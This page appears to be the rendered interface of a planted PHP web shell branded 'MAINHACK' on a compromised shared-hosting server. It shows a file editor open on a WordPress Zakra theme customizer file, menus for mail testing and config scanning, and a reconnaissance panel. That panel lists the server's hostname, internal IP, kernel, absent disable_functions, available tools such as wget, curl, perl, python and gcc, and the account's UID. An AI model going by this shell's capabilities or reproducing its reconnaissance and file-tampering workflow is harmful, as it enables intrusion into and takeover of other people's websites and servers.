[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: override-defaults.php
<?php /** * Override default customizer options. * * @package zakra */ /** * Override controls. */ // Outside container > background control. $wp_customize->get_control( 'background_color' )->section = 'zakra_background'; $wp_customize->get_control( 'background_color' )->priority = 20; $wp_customize->get_control( 'background_color' )->type = 'zakra-color'; $wp_customize->get_control( 'background_image' )->section = 'zakra_background'; $wp_customize->get_control( 'background_image' )->priority = 25; $wp_customize->get_control( 'background_preset' )->section = 'zakra_background'; $wp_customize->get_control( 'background_preset' )->priority = 30; $wp_customize->get_control( 'background_position' )->section = 'zakra_background'; $wp_customize->get_control( 'background_position' )->priority = 35; $wp_customize->get_control( 'background_size' )->section = 'zakra_background'; $wp_customize->get_control( 'background_size' )->priority = 40; $wp_customize->get_control( 'background_repeat' )->section = 'zakra_background'; $wp_customize->get_control( 'background_repeat' )->priority = 45; $wp_customize->get_control( 'background_attachment' )->section = 'zakra_background'; $wp_customize->get_control( 'background_attachment' )->priority = 50; // Site Identity. $wp_customize->get_control( 'custom_logo' )->priority = 6; $wp_customize->get_control( 'site_icon' )->priority = 12; $wp_customize->get_control( 'blogname' )->priority = 14; $wp_customize->get_control( 'blogdescription' )->priority = 16; $wp_customize->get_control( 'display_header_text' )->priority = 18; $wp_customize->get_control( 'header_textcolor' )->section = 'title_tagline'; $wp_customize->get_control( 'header_textcolor' )->priority = 20; $wp_customize->get_control( 'header_textcolor' )->type = 'zakra-color'; // Settings. $wp_customize->get_setting( 'blogname' )->transport = 'postMessage'; $wp_customize->get_setting( 'blogdescription' )->transport = 'postMessage'; $wp_customize->get_setting( 'header_textcolor' )->transport = 'postMessage'; if ( isset( $wp_customize->selective_refresh ) ) { $wp_customize->selective_refresh->add_partial( 'blogname', array( 'selector' => '.site-title a', 'render_callback' => 'Zakra_Customizer_Partials::customize_partial_blogname', ) ); $wp_customize->selective_refresh->add_partial( 'blogdescription', array( 'selector' => '.site-description', 'render_callback' => 'Zakra_Customizer_Partials::customize_partial_blogdescription', ) ); $wp_customize->selective_refresh->add_partial( 'document_title', array( 'selector' => 'head > title', 'settings' => array( 'blogname', 'blogdescription' ), 'render_callback' => 'wp_get_document_title', ) ); } // Header Media. $wp_customize->get_control( 'header_video' )->priority = 6; $wp_customize->get_control( 'header_image' )->priority = 11; $wp_customize->get_control( 'external_header_video' )->label = esc_html__( 'Header Video URL', 'zakra' ); // Modify WooCommerce default section priorities. if ( class_exists( 'WooCommerce' ) ) { $wp_customize->get_panel( 'woocommerce' )->priority = 36; }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.8 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619